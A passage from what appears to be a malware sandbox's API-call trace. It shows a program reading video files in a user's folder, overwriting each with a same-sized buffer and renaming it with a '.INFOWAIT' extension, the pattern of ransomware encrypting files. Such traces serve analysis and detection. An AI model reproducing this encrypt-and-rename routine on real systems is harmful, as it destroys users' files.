(in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x58af, lpOverlapped=0x0) returned 1 [0121.371] VirtualAlloc (lpAddress=0x0, dwSize=0x58af, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.373] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.373] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x58af, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x58af, lpOverlapped=0x0) returned 1 [0121.374] CloseHandle (hObject=0xad4) returned 1 [0121.383] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\qRUUXSSNmlOJdjR 6U.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\qRUUXSSNmlOJdjR 6U.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\qRUUXSSNmlOJdjR 6U.flv" [0121.383] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\qRUUXSSNmlOJdjR 6U.flv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\qRUUXSSNmlOJdjR 6U.flv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\qRUUXSSNmlOJdjR 6U.flv.INFOWAIT" [0121.383] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\qRUUXSSNmlOJdjR 6U.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qruuxssnmlojdjr 6u.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\qRUUXSSNmlOJdjR 6U.flv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qruuxssnmlojdjr 6u.flv.infowait")) returned 1 [0121.384] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.385] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.386] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\5EP3zi8p1_ R.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\5ep3zi8p1_ r.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.387] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd64e [0121.387] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.387] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.388] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xd64e, lpOverlapped=0x0) returned 1 [0121.393] VirtualAlloc (lpAddress=0x0, dwSize=0xd64e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.399] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.399] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xd64e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xd64e, lpOverlapped=0x0) returned 1 [0121.399] CloseHandle (hObject=0xad4) returned 1 [0121.402] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\5EP3zi8p1_ R.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\5EP3zi8p1_ R.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\5EP3zi8p1_ R.mkv" [0121.402] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\5EP3zi8p1_ R.mkv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\5EP3zi8p1_ R.mkv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\5EP3zi8p1_ R.mkv.INFOWAIT" [0121.402] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\5EP3zi8p1_ R.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\5ep3zi8p1_ r.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\5EP3zi8p1_ R.mkv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\5ep3zi8p1_ r.mkv.infowait")) returned 1 [0121.405] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.406] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.407] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.407] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\6R9e9hJWmT-aPrPe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\6r9e9hjwmt-aprpe.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.407] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd9be [0121.407] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.408] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.408] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xd9be, lpOverlapped=0x0) returned 1 [0121.412] VirtualAlloc (lpAddress=0x0, dwSize=0xd9be, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.417] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.417] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xd9be, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xd9be, lpOverlapped=0x0) returned 1 [0121.417] CloseHandle (hObject=0xad4) returned 1 [0121.435] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\6R9e9hJWmT-aPrPe.avi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\6R9e9hJWmT-aPrPe.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\6R9e9hJWmT-aPrPe.avi" [0121.435] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\6R9e9hJWmT-aPrPe.avi", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\6R9e9hJWmT-aPrPe.avi.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\6R9e9hJWmT-aPrPe.avi.INFOWAIT" [0121.435] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\6R9e9hJWmT-aPrPe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\6r9e9hjwmt-aprpe.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\6R9e9hJWmT-aPrPe.avi.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\6r9e9hjwmt-aprpe.avi.infowait")) returned 1 [0121.436] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.436] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.437] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.437] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\hCecQC2.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\hcecqc2.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.437] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16e9b [0121.437] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.438] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.438] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x16e9b, lpOverlapped=0x0) returned 1 [0121.441] VirtualAlloc (lpAddress=0x0, dwSize=0x16e9b, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0121.447] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.447] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x16e9b, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x16e9b, lpOverlapped=0x0) returned 1 [0121.447] CloseHandle (hObject=0xad4) returned 1 [0121.454] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\hCecQC2.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\hCecQC2.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\hCecQC2.mp4" [0121.454] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\hCecQC2.mp4", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\hCecQC2.mp4.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\hCecQC2.mp4.INFOWAIT" [0121.454] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\hCecQC2.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\hcecqc2.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\hCecQC2.mp4.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\hcecqc2.mp4.infowait")) returned 1 [0121.455] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.456] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.456] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\kuUk4.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\kuuk4.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.457] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1288b [0121.457] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.457] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.457] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1288b, lpOverlapped=0x0) returned 1 [0121.460] VirtualAlloc (lpAddress=0x0, dwSize=0x1288b, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0121.467] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.467] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x1288b, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x1288b, lpOverlapped=0x0) returned 1 [0121.467] CloseHandle (hObject=0xad4) returned 1 [0121.475] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\kuUk4.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\kuUk4.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\kuUk4.swf" [0121.475] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\kuUk4.swf", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\kuUk4.swf.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\kuUk4.swf.INFOWAIT" [0121.475] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\kuUk4.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\kuuk4.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\kuUk4.swf.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\kuuk4.swf.infowait")) returned 1 [0121.475] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.476] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.477] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.477] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\l414QV7S1.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\l414qv7s1.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.477] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7eb0 [0121.477] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.477] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.477] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7eb0, lpOverlapped=0x0) returned 1 [0121.480] VirtualAlloc (lpAddress=0x0, dwSize=0x7eb0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.487] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.487] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7eb0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7eb0, lpOverlapped=0x0) returned 1 [0121.487] CloseHandle (hObject=0xad4) returned 1 [0121.490] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\l414QV7S1.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\l414QV7S1.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\l414QV7S1.swf" [0121.490] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\l414QV7S1.swf", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\l414QV7S1.swf.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\l414QV7S1.swf.INFOWAIT" [0121.490] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\l414QV7S1.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\l414qv7s1.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\l414QV7S1.swf.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\l414qv7s1.swf.infowait")) returned 1 [0121.491] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.492] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.493] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.493] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\LcNIbb5Xdpy1cT0Voq.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\lcnibb5xdpy1ct0voq.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.493] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf146 [0121.493] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.493] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.493] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xf146, lpOverlapped=0x0) returned 1 [0121.497] VirtualAlloc (lpAddress=0x0, dwSize=0xf146, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.503] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.503] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xf146, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xf146, lpOverlapped=0x0) returned 1 [0121.503] CloseHandle (hObject=0xad4) returned 1 [0121.506] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\LcNIbb5Xdpy1cT0Voq.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\LcNIbb5Xdpy1cT0Voq.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\LcNIbb5Xdpy1cT0Voq.flv" [0121.506] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\LcNIbb5Xdpy1cT0Voq.flv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\LcNIbb5Xdpy1cT0Voq.flv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\LcNIbb5Xdpy1cT0Voq.flv.INFOWAIT" [0121.506] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\LcNIbb5Xdpy1cT0Voq.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\lcnibb5xdpy1ct0voq.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\LcNIbb5Xdpy1cT0Voq.flv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\lcnibb5xdpy1ct0voq.flv.infowait")) returned 1 [0121.507] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.508] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.509] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\xjB5_nJ6.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\xjb5_nj6.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.509] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ebd [0121.509] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.509] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 